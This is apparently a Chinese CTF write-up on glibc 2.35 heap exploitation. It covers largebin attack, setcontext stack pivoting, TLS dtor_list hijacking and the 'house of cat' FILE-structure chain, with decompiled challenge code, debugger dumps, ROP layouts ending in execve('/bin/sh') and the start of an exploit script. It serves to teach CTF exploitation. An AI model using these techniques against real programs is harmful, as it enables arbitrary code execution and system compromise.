# glibc 2.35 ubuntu3 下的利用手法。
原本我们以为 2.35 的时代不会来的这么快,但是最近 DS360ctf,以及强网杯几道题目的出现让 glibc 的 pwn 生存条件急剧下降。
首先我们谈谈为什么很多师傅都人为 2.35 的堆 pwn 是一个寒冬:
# 现状:
之所以这样讲,一部分原因在于由于高版本的 glibc 的安全特性,封锁掉了很多的后门,特别是几个重要的 hook 不再是我们可以利用的了。但是这并不是让题目更难,觉得反而是解题出现严重的两级分化,一部分师傅研究过几个手法,几乎就可以做到一口气解决,因为利用的手法比较单一,就那么几种,即便是先提出的手法,其实原理也是大同小异。而对于不了解的师傅,就会陷入深渊,没有后门,或者自己习惯的后门都被堵上了,怎么走。
我们发现,其实大部分的情况都都是因为 hook 被禁止。而最近出现的手法,就要求我们要继续挖掘 io 的利用链。
所以这次我就要花费一些时间整理一部分。主要还是基于目前出现的一些题目的复现。
** 在 35 时代,我们必须学会 largebinattack
目前计划着是有
house of apple 1
house of apple 2
house of apple 3
house of cat
house of emma
house of banana
tls 劫持
# 一些小总结:
目前遇到的 2.35 的题目都是基于同一个版本
1 2 3 dreamcat@dreamcat-virtual-machine:~/Desktop/360dsctf/eznote$ strings libc.so.6 |grep ubuntu GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35. <https://bugs.launchpad.net/ubuntu/+source /glibc/+bugs>.
# largebinattack
关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk)); if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)" ); } } else victim->fd_nextsize = victim->bk_nextsize = victim; }
相比于 2.29,新增加了两个检查。因为这些检查的原因,我们只有插入小 size 额可以实现 attack,
# 要求
对应的 bin 中只有一个 free_chunk,(此时 fd_nextsize,bk_nextsize 都指向自己)
修改 free_chunk 的 bk_nextsize 为目标地址减去 0x20.
# setcontext
在新的版本中,setcontext 不再是直接使用 rdi,而是使用 rdx 进行参数的一些设置。所以需要一些手段在 setcontext 之前,能够设置 rdx 为可控制的堆空间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0x7f2c07abea6d <setcontext+61> mov rsp, qword ptr [rdx + 0xa0] ► 0x7f2c07abea74 <setcontext+68> mov rbx, qword ptr [rdx + 0x80] 0x7f2c07abea7b <setcontext+75> mov rbp, qword ptr [rdx + 0x78] 0x7f2c07abea7f <setcontext+79> mov r12, qword ptr [rdx + 0x48] 0x7f2c07abea83 <setcontext+83> mov r13, qword ptr [rdx + 0x50] 0x7f2c07abea87 <setcontext+87> mov r14, qword ptr [rdx + 0x58] 0x7f2c07abea8b <setcontext+91> mov r15, qword ptr [rdx + 0x60] 0x7f2c07abea8f <setcontext+95> test dword ptr fs:[0x48], 2 0x7f2c07abea9b <setcontext+107> je setcontext+294 <setcontext+294> ↓ 0x7f2c07abeb56 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8] 0x7f2c07abeb5d <setcontext+301> push rcx 0x7f2c07abeb5e <setcontext+302> mov rsi,QWORD PTR [rdx+0x70] 0x7f2c07abeb62 <setcontext+306>: mov rdi,QWORD PTR [rdx+0x68] 0x7f2c07abeb66 <setcontext+310>: mov rcx,QWORD PTR [rdx+0x98] 0x7f2c07abeb6d <setcontext+317>: mov r8,QWORD PTR [rdx+0x28] 0x7f2c07abeb71 <setcontext+321>: mov r9,QWORD PTR [rdx+0x30] 0x7f2c07abeb75 <setcontext+325>: mov rdx,QWORD PTR [rdx+0x88] 0x7f2c07abeb7c <setcontext+332>: xor eax,eax 0x7f2c07abeb7e <setcontext+334>: ret
rdx 我们提前布置为我们可以控制的堆上,保证 rbp 大于、等于 rsp。除了 rcx,其他寄存器直接设置为 0,这里单独提出来 rcx,是因为 setcontext 最后 ret 的时候相当于,mov rip,[rsp]。加一个 ret 后,就可以劫持程序栈 rip.
1 2 3 4 5 6 7 8 9 10 RBP 0x563dfde0ada0 —▸ 0x7f3391d8b3e5 (iconv+197 ) ◂— pop rdi RSP 0x563dfde0ad98 —▸ 0x7f3391db4b52 (setcontext+290 ) ◂— ret *RIP 0x7f3391db4b7e (setcontext+334 ) ◂— ret ───────────────────────────────────[ DISASM ]─────────────────────────────────── 0x7f3391db4b66 <setcontext+310 > mov rcx, qword ptr [rdx + 0x98 ] 0x7f3391db4b6d <setcontext+317 > mov r8, qword ptr [rdx + 0x28 ] 0x7f3391db4b71 <setcontext+321 > mov r9, qword ptr [rdx + 0x30 ] 0x7f3391db4b75 <setcontext+325 > mov rdx, qword ptr [rdx + 0x88 ] 0x7f3391db4b7c <setcontext+332 > xor eax, eax ► 0x7f3391db4b7e <setcontext+334 > ret
我们的 rbp 设置为 rop 的开始而不是在下一条。但是我还没有搞清楚是否可以用 leave;ret; 浅尝了一下,不可以
# tls 劫持 exit 执行流
# 前提条件
任意地址写一个堆地址,
泄露出 heap 地址,libc 地址
我们可以改写一个 chunk 的头部信息,prev_size,size。
程序可以执行 exit(这里我们仅仅测试了 main 函数直接 retutrn, 显式调用 exit 应该也可以,或者报错)
# 这里我们以 360dsctf 的 eznote 为例题,
程序实现了基本的增删改查,程序初始化的时候,申请了一个 chunk 用作一个指针数组,用于储存我们申请的 note.
1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 init_0 () { unsigned __int64 v1; v1 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); alarm(0x78 u); gp = (global_list *)calloc (7uLL , 0x18 uLL); return __readfsqword(0x28 u) ^ v1; }
这里储存的结构体的大小为 0x18 字节,gp 一共申请了 7 个。
1 2 3 4 5 6 7 00000000 note struc ; (sizeof =0x18 , mappedto_15)00000000 ; XREF: global_list/r00000000 size dq ? ; XREF: add+28 /r00000008 ptr dq ? ; offset00000010 real_size dq ?00000018 note ends00000018
size 是我们在申请 chunk 的时候提供的,real_size 是我们输入的数据的长度。
问题出在 add 的时候,同时存在的 note 的数量判断。这里值判断是否大于 7,所以我们申请第 8 个的时候,可以通过检查,那么就造成了数组的御姐,数组储存在 chunk 中,势必会影响下一个 chunk 的头部数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int add () { __int64 count; __int64 v1; __int64 size; __int64 v3; char *ptr; char *real_size; note *v6; if ( (unsigned __int64)nums > 7 ) return puts ("Too many notes." ); count = 0LL ; v1 = 1LL ; if ( gp->list [0 ].ptr ) { while ( 1 ) { ++count; if ( !gp->list [v1].ptr || count == 7 ) break ; ++v1; } } else { v1 = 0LL ; } __printf_chk(1LL , "Size: " ); size = getnum(); v3 = size; if ( size <= 0x3FF ) return puts ("Invalid size." ); ptr = (char *)calloc (size, 1uLL ); __printf_chk(1LL , "Content: " ); real_size = read_n(0 , ptr, v3); v6 = &gp->list [v1]; v6->size = v3; ++nums; v6->ptr = ptr; v6->real_size = (__int64)real_size; return __printf_chk(1LL , "Note%lu saved.\n" , count); }
数组最小限制为 0x400, 没有上限,所以我们可以尽情的构造较大的 chunk。
观察到,数组溢出时候的情况。因为我们申请 gp 数组的堆块大小只有 0xb0, 实际使用空间只有 0xa8, 那么,我们申请的 7 个结构体恰好可以沾满,那么第 8 个结构体的 size 就会占据下一个 chunk 的头部,修改 chunk_size。如果我们前面的 chunk 申请的比较小,第八个申请的很大,就会导致第一个 chunk 的 size 被更改,实现 overlap。
主义的时,一旦 8 号 chunk 申请处理啊,就无法 free。
泄露地址。
在向 note 中读入数据的时候,会自动补全空字符。输出使用格式化字符串,只是 add 时使用了 calloc,初始化 chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 char *__fastcall read_n (int fd, char *ptr, __int64 size) { char *v3; char *pos; __int64 v5; char *end; __int64 v7; char buf; unsigned __int64 v11; v3 = ptr; v11 = __readfsqword(0x28 u); buf = 0 ; if ( size ) { pos = ptr; v5 = 1LL - (_QWORD)ptr; end = &ptr[size]; while ( 1 ) { v7 = (__int64)&pos[v5]; if ( read(fd, &buf, 1uLL ) <= 0 || buf == 10 ) break ; *pos++ = buf; if ( pos == end ) goto LABEL_8; } *pos = 0 ; } else { LABEL_8: v3[size - 1 ] = 0 ; v7 = size; } return (char *)v7; }
修改掉第一个 notechunk 的 size 后,直接将其 free,就会将第二个覆盖到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> x/28 gx 0x5572d1a52290 0x5572d1a52290 : 0x0000000000000000 0x00000000000000b1 0x5572d1a522a0 : 0x0000000000000000 0x0000000000000000 0x5572d1a522b0 : 0x0000000000000000 0x0000000000000418 0x5572d1a522c0 : 0x00005572d1a52770 0x0000000000000418 0x5572d1a522d0 : 0x0000000000000418 0x00005572d1a52b90 0x5572d1a522e0 : 0x0000000000000418 0x0000000000000418 0x5572d1a522f0 : 0x00005572d1a52fb0 0x0000000000000418 0x5572d1a52300 : 0x0000000000000418 0x00005572d1a533d0 0x5572d1a52310 : 0x0000000000000418 0x0000000000000418 0x5572d1a52320 : 0x00005572d1a537f0 0x0000000000000418 0x5572d1a52330 : 0x0000000000000418 0x00005572d1a53c10 0x5572d1a52340 : 0x0000000000000418 0x0000000000000841 0x5572d1a52350 : 0x00007fa2a9bbace0 0x00007fa2a9bbace0 0x5572d1a52360 : 0x0000000000000000 0x0000000000000000
重新申请第一个 chunk 区域,第二个 chunk 的数据就会被更改了。
我们就完成了 libc 的泄露,下面就是堆 heap 地址的泄露,只要有了 overlap 我们就完成了两地址的泄露 ,这里不在细说。
接下来就是利用 largebinattack 攻击,首先修改 tls_dtor_list 的值为一个我们可控制的 chunk 地址。然后修改 secret 为已知可控地址。secret 是 tcache,fastbin 加密 key。
tls_dtor_list 结构体的为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 *(struct dtor_list *) 0x563bed37d920 $8 = { func = 0x525a0543f9580000 , obj = 0x7f16ef9363e5 <iconv+197 >, map = 0x7f16efae4698 , next = 0x7f16ef937e51 <__gconv_close_transform+225 > } +++++++++++++++++++++++ pwndbg> tel 0x563bed37d920 10 00 :0000 │ 0x563bed37d920 ◂— 0x525a0543f9580000 01 :0008 │ 0x563bed37d928 —▸ 0x7f16ef9363e5 (iconv+197 ) ◂— pop rdi02 :0010 │ 0x563bed37d930 —▸ 0x7f16efae4698 ◂— 0x68732f6e69622f 03 :0018 │ 0x563bed37d938 —▸ 0x7f16ef937e51 (__gconv_close_transform+225 ) ◂— pop rsi04 :0020 │ 0x563bed37d940 ◂— 0x0 05 :0028 │ 0x563bed37d948 —▸ 0x7f16efa2b497 (qecvt+39 ) ◂— pop rdx06 :0030 │ 0x563bed37d950 ◂— 0x0 07 :0038 │ 0x563bed37d958 ◂— 0x0 08 :0040 │ 0x563bed37d960 —▸ 0x7f16ef9f70f0 (execve) ◂— endbr64
总结下,这里。00 的位置,其实是任意代码执行的,除了可以写 leave,但是貌似这里的写法已经很直接,所以我们无需再更改,如有需要可以写为 orw.secret 其实是否需要改写,是根据是否可以泄露出 secret 而定,如果可以,就不需要改写,一些攻击即可。
我们修改 tls_dtor_list 为一个堆头地址,我们还要将这个头部改写,因为任意代码执行就是这个直接地址开始的。
关于 largebinattack,如果 bin 只有一个 free_chunk,我们攻击的话,只需要修改其 bk_nextsize。
同时,我们也可以进行多次攻击,只要是 size 比第一个小,就会进行前插,但是这次不是修改第一个头的 bk_next, 而是第一次那个。就是说在同一个位置修改,其他尽量保持不变。
关键就在与修改 tls_dtor_list,开始这里是空的,将其指向一个 chunk, 并且完全控制这里,在这里构造一个 leave ret 加上 rop,注意的是 leaveret 的地址要进行加密。
# house of cat
这是一个比较新的路径,是 catF1y 师傅挖出来的一条链子,并且在强网杯初赛部署了同名题目。但是,就在比赛前夕,以为师傅连更两条博客,house of apple2 以及 house of apple3,导致了题目被非预期。同时,我们也尝试了使用 house of emma,成功非预期。这里就先开始预期解的 house of cat 的学习记录。
高版本的 glibc 就是对 io 的疯狂脑洞输出。house of cat 也是一个有关 io 的利用路径。
# 利用条件
1. 能够任意地址写一个可控堆地址。
2. 能够泄露堆地址和 libc 基址。
3. 能够触发 IO 流(FSOP 或触发__malloc_assert),执行 IO 相关函数。
其实从这里我们看出,这里的利用条件与其他的一些手法极为相似,基本就是利用 exit () 函数退出的一些操作。随着版本的迭代,glibc 对于虚表的保护也是不断的更新,首先就是对于 io_file_jump 的检查,包括但不限于禁止直接修改虚表内容、检查虚表地址是否合法(在规定的虚表地址范围内)。其实之前我们讲过利用 io_str_jump 的虚表绕过检查,但是当时的方法的弊端就是两个函数_IO_str_overflow 以及_IO_str_finish 的相关漏洞被封死。
这里作者利用了一个新的 io 虚表结构体_IO_wfile_jumps,然后下面的操作与_IO_str_jumps 非常相似,甚至函数名字都很相似
这里我先介绍下目标函数是如何实现然亦函数调用的,
结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
原理,利用程序报错__malloc_asset 报错调用 xsputn, 替换该虚表函数为 _IO_wfile_seekfoff
FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
其中的函数(_IO_wfile_seekoff)的内部结构为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode){ off64_t result; off64_t delta, new_offset; long int count; if (mode == 0 ) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)); #需要绕过was_writing的检测 bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF; ...... }
如果 mode!=0 且 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 会调用_IO_switch_to_wget_mode 这个函数,继续跟进代码。虽然说这里要求的是 mode 值不为零,但是在最开始伪造的时候,mode 设置却还是 0,不过调试的时候,发现这里可能会发生变化,从我们传入的 0 变为了 - 1。经过测试,最开始也可以将 mode 设置为 1 ,后面触发__malloc_assert,mode 不会被更改。(这条仅在 house of cat 同名题目测试)。
1 2 3 4 5 6 7 int _IO_switch_to_wget_mode (FILE *fp){ if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t )_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ...... }
而_IO_WOVERFLOW 是 glibc 里定义的一个宏调用函数
1 2 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
可以看到对_IO_WOVERFLOW 没有进行任何检测,为了便于理解,我们再来看看汇编代码
1 2 3 4 5 6 7 8 9 10 11 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64 0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] 0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx 0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi 0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] 0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18] 0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56> 0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] 0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff 0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
在造成任意地址写一个堆地址的基础上,这里的寄存器 rdi(fake_IO 的地址)、rax 和 rdx 都是我们可以控制的,
rdi 是我们伪造的 io_file 的地址,我们将 rax 控制为堆上的一个地址,就可以实现任意函数的调用。
这里还要补习一下 setcontext 的知识
在开启沙箱的情况下,假如把最后调用的 [rax + 0x18] 设置为 setcontext,把 rdx 设置为可控的堆地址,就能执行 srop 来读取 flag;如果未开启沙箱,则只需把最后调用的 [rax + 0x18] 设置为 system 函数,把 fake_IO 的头部写入 /bin/sh 字符串,就可执行 system ("/bin/sh")
fake_IO 结构体需要绕过的检测
1 2 3 4 5 _wide_data->_IO_read_ptr !=_wide_data->_IO_read_end _wide_data->_IO_write_ptr > _wide_data->_IO_write_base #如果_wide_data=fake_io_addr+0x30 ,其实也就是fp->_IO_save_base < f->_IO_backup_base fp``-``>_lock是一个可写地址 fp``-``>_mode ``=` `0
大致的攻击流程
修改_IO_list_all 为可控地址(FSOP)或修改 stderr 为可控地址 (__malloc_assert)。
在上一步的可控地址中伪造 fake_IO 结构体。
通过 FSOP 或 malloc 触发攻击。
但是当我进行到这里的时候,我发现不能独立正常的复现,因为作者的文章并没有给出这条完整利用链。
# 问题
完整的利用链是从哪里触发, 完整的函数调用链是怎么样的?
作者提出了两个不同的流程,一个是进行 FSOP,利用的是_IO_flush_all_lockp 函数来刷新所有的 IO 流。也就是说最后是进入 flush 函数,进行一系列的调用,对应的就是虚表中的_IO_overflow. 但是_IO_flush_all_lockp 触发的前提应该是能执行 exit (显式调用、libc 调用 abort、以及 main 函数正常退出)
另外一个思路是利用利用__malloc_assert 触发的报错。会使用 stderr 进行一个报错输出
以上,house of cat 的关键点是 JUMP_INIT (seekoff, _IO_wfile_seekoff), 顺利的进入后又会执行 _IO_switch_to_wget_mode (fp),最大的问题就是如何进入这里 _IO_wfile_seekoff?
以下为个人的分析过程
我们要知道这里代替了谁。函数的入口在于 IO 函数初始化后调用谁的问题,因为我们是对 vtable 进行了偏移替换,所以我们将二者进行一个对比。
修改前的 IO_list_all 的对应
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 pwndbg> p &_IO_list_all $1 = (struct _IO_FILE_plus **) 0x7f56882ae680 <_IO_list_all> pwndbg> p *(struct _IO_FILE_plus **) 0x7f56882ae680 $2 = (struct _IO_FILE_plus *) 0x7f56882ae6a0 <_IO_2_1_stderr_> pwndbg> p *(struct _IO_FILE_plus *) 0x7f56882ae6a0 $3 = { file = { _flags = -72540025 , _IO_read_ptr = 0x7f56882ae723 <_IO_2_1_stderr_+131 > "" , _IO_read_end = 0x7f56882ae723 <_IO_2_1_stderr_+131 > "" , _IO_read_base = 0x7f56882ae723 <_IO_2_1_stderr_+131 > "" , _IO_write_base = 0x7f56882ae723 <_IO_2_1_stderr_+131 > "" , _IO_write_ptr = 0x7f56882ae723 <_IO_2_1_stderr_+131 > "" , _IO_write_end = 0x7f56882ae723 <_IO_2_1_stderr_+131 > "" , _IO_buf_base = 0x7f56882ae723 <_IO_2_1_stderr_+131 > "" , _IO_buf_end = 0x7f56882ae724 <_IO_2_1_stderr_+132 > "" , _IO_save_base = 0x0 , _IO_backup_base = 0x0 , _IO_save_end = 0x0 , _markers = 0x0 , _chain = 0x7f56882ae780 <_IO_2_1_stdout_>, _fileno = 2 , _flags2 = 0 , _old_offset = -1 , _cur_column = 0 , _vtable_offset = 0 '\000' , _shortbuf = "" , _lock = 0x7f56882afa60 <_IO_stdfile_2_lock>, _offset = -1 , _codecvt = 0x0 , _wide_data = 0x7f56882ad8a0 <_IO_wide_data_2>, _freeres_list = 0x0 , _freeres_buf = 0x0 , __pad5 = 0 , _mode = 0 , _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f56882aa600 <_IO_file_jumps> } pwndbg> p _IO_file_jumps $4 = { __dummy = 0 , __dummy2 = 0 , __finish = 0x7f5688120070 <_IO_new_file_finish>, __overflow = 0x7f5688120e40 <_IO_new_file_overflow>, __underflow = 0x7f5688120b30 <_IO_new_file_underflow>, __uflow = 0x7f5688121de0 <__GI__IO_default_uflow>, __pbackfail = 0x7f5688123300 <__GI__IO_default_pbackfail>, __xsputn = 0x7f568811f680 <_IO_new_file_xsputn>, __xsgetn = 0x7f568811f330 <__GI__IO_file_xsgetn>, __seekoff = 0x7f568811e960 <_IO_new_file_seekoff>, __seekpos = 0x7f5688122530 <_IO_default_seekpos>, __setbuf = 0x7f568811e620 <_IO_new_file_setbuf>, __sync = 0x7f568811e4b0 <_IO_new_file_sync>, __doallocate = 0x7f5688112b90 <__GI__IO_file_doallocate>, __read = 0x7f568811f9b0 <__GI__IO_file_read>, __write = 0x7f568811ef40 <_IO_new_file_write>, __seek = 0x7f568811e6f0 <__GI__IO_file_seek>, __close = 0x7f568811e610 <__GI__IO_file_close>, __stat = 0x7f568811ef30 <__GI__IO_file_stat>, __showmanyc = 0x7f56881234a0 <_IO_default_showmanyc>, __imbue = 0x7f56881234b0 <_IO_default_imbue> }
修改后 (地址不一样,看偏移)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 pwndbg> p *(struct _IO_FILE_plus *) 0x562fcda56370 $7 = { file = { _flags = 0 , _IO_read_ptr = 0x451 <error: Cannot access memory at address 0x451 >, _IO_read_end = 0x7f2b2d5cc0e0 <main_arena+1120 > " t\245\315/V" , _IO_read_base = 0x562fcda55290 "" , _IO_write_base = 0x562fcda55290 "" , _IO_write_ptr = 0x7f2b2d5cc840 <_IO_2_1_stdout_+192 > "" , _IO_write_end = 0x0 , _IO_buf_base = 0x0 , _IO_buf_end = 0x1 <error: Cannot access memory at address 0x1 >, _IO_save_base = 0x0 , _IO_backup_base = 0x562fcda57cd0 "" , _IO_save_end = 0x7f2b2d405a6d <setcontext+61 > "H\213\242\240" , _markers = 0x0 , _chain = 0x0 , _fileno = 0 , _flags2 = 0 , _old_offset = 0 , _cur_column = 0 , _vtable_offset = 0 '\000' , _shortbuf = "" , _lock = 0x562fcda56000 , _offset = 0 , _codecvt = 0x0 , _wide_data = 0x562fcda563a0 , _freeres_list = 0x0 , _freeres_buf = 0x0 , __pad5 = 0 , _mode = -1 , _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f2b2d5c80d0 <_IO_wfile_jumps+16 > } pwndbg> p _IO_file_jumps $8 = { __dummy = 0 , __dummy2 = 0 , __finish = 0x7f2b2d43e070 <_IO_new_file_finish>, __overflow = 0x7f2b2d43ee40 <_IO_new_file_overflow>, __underflow = 0x7f2b2d43eb30 <_IO_new_file_underflow>, __uflow = 0x7f2b2d43fde0 <__GI__IO_default_uflow>, __pbackfail = 0x7f2b2d441300 <__GI__IO_default_pbackfail>, __xsputn = 0x7f2b2d43d680 <_IO_new_file_xsputn>, __xsgetn = 0x7f2b2d43d330 <__GI__IO_file_xsgetn>, __seekoff = 0x7f2b2d43c960 <_IO_new_file_seekoff>, __seekpos = 0x7f2b2d440530 <_IO_default_seekpos>, __setbuf = 0x7f2b2d43c620 <_IO_new_file_setbuf>, __sync = 0x7f2b2d43c4b0 <_IO_new_file_sync>, __doallocate = 0x7f2b2d430b90 <__GI__IO_file_doallocate>, __read = 0x7f2b2d43d9b0 <__GI__IO_file_read>, __write = 0x7f2b2d43cf40 <_IO_new_file_write>, __seek = 0x7f2b2d43c6f0 <__GI__IO_file_seek>, __close = 0x7f2b2d43c610 <__GI__IO_file_close>, __stat = 0x7f2b2d43cf30 <__GI__IO_file_stat>, __showmanyc = 0x7f2b2d4414a0 <_IO_default_showmanyc>, __imbue = 0x7f2b2d4414b0 <_IO_default_imbue> }
我们看到这里对应的入口点就是 xsputn。当__malloc_assert 进行 __fxprintf 调用的时候,进行错误输出的时候,
1 2 3 4 5 6 7 8 9 __fxprintf ————》》 locked_vfxprintf ————》》 __vfprintf_internal ————》》 //0x7f6fb038d15d <__vfprintf_internal+173> call *ABS*+0xab090@plt __strchrnul_avx2;ret __libc_cleanup_push_defer;ret 0x7f6fb038d1c8 <__vfprintf_internal+280> call qword ptr [r12 + 0x38] //调用目标函数<__GI__IO_wfile_seekoff>
# 下面我们直接来看题目。
开始的逆向过程就不再赘述。
程序确实实现了增删改查的功能,但是对于改的次数做出了严格的限制,只允许进行两次更改,而且程序没有结束功能,也就是说,我们如果想利用 io 必须触发报错__malloc_assert。由于我们只有两次修改的机会,那么其实我们已经想好了怎么做,一次用来出发报错,一次用来伪造 io 结构。
我们来看程序的实现,
# add
在创建的 chunk 的时候,最多允许我们创建 16 个 cat,并且对 size 的大小进行了限制
1 size <= 0x417 || size > 0x46F
只允许的 largebin 范围的堆块的创建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 void add () { unsigned __int64 idx; size_t size; writen("plz input your cat idx:\n" ); idx = getint(); if ( idx > 0xF || list [idx] ) { writen("invalid!\n" ); } else { writen("plz input your cat size:\n" ); size = getint(); if ( size <= 0x417 || size > 0x46F ) { writen("invalid size!\n" ); } else { list [idx] = calloc (1uLL , size); if ( list [idx] ) { size_list[idx] = size; writen("plz input your content:\n" ); read(0 , list [idx], size_list[idx]); } else { writen("error!\n" ); } } } }
同时,因为使用 了 calloc 函数,会对我们申请出来的 chunk 进行一个初始化。read 允许我们输入空字符。
接下来我们看看删除
# delete
1 2 3 4 5 6 7 8 9 10 11 void del () { unsigned __int64 v0; writen("plz input your cat idx:\n" ); v0 = getint(); if ( v0 <= 0xF && list [v0] ) free (list [v0]); else writen("invalid!\n" ); }
明显的一个 uaf,可以用来泄露数据。
所以我们在看下 show
# show
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void show () { unsigned __int64 v0; writen("plz input your cat idx:\n" ); v0 = getint(); if ( v0 <= 0xF && list [v0] ) { writen("Context:\n" ); write(1 , list [v0], 0x30 uLL); } else { writen("invalid!\n" ); } }
使用 write,允许输出空字符,最多输出 0x30 字节,这已经够了,我们只要释放两个不相连的 chunk 就可以实现两地址的泄露,但是,这里要注意到,这个 uaf 的负面影响就是,我们不可以再向对应的 idx 申请 chunk,所以我们要控制数量。
# 攻击
简单的布局下 chunk,泄露出两个地址, 然后准备进行 largebinattack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 add(0 ,0x450 ,b'a' *8 ) add(1 ,0x418 ,b'a' *8 ) add(2 ,0x430 ,b'a' *8 ) add(3 ,0x418 ,b'a' *8 ) add(4 ,0x440 ,b'a' *8 ) add(5 ,0x418 ,b'\x00' *8 ) free(0 ) free(4 ) add(6 ,0x460 ,b'\x00' *8 ) show(0 )
chunk 的情况
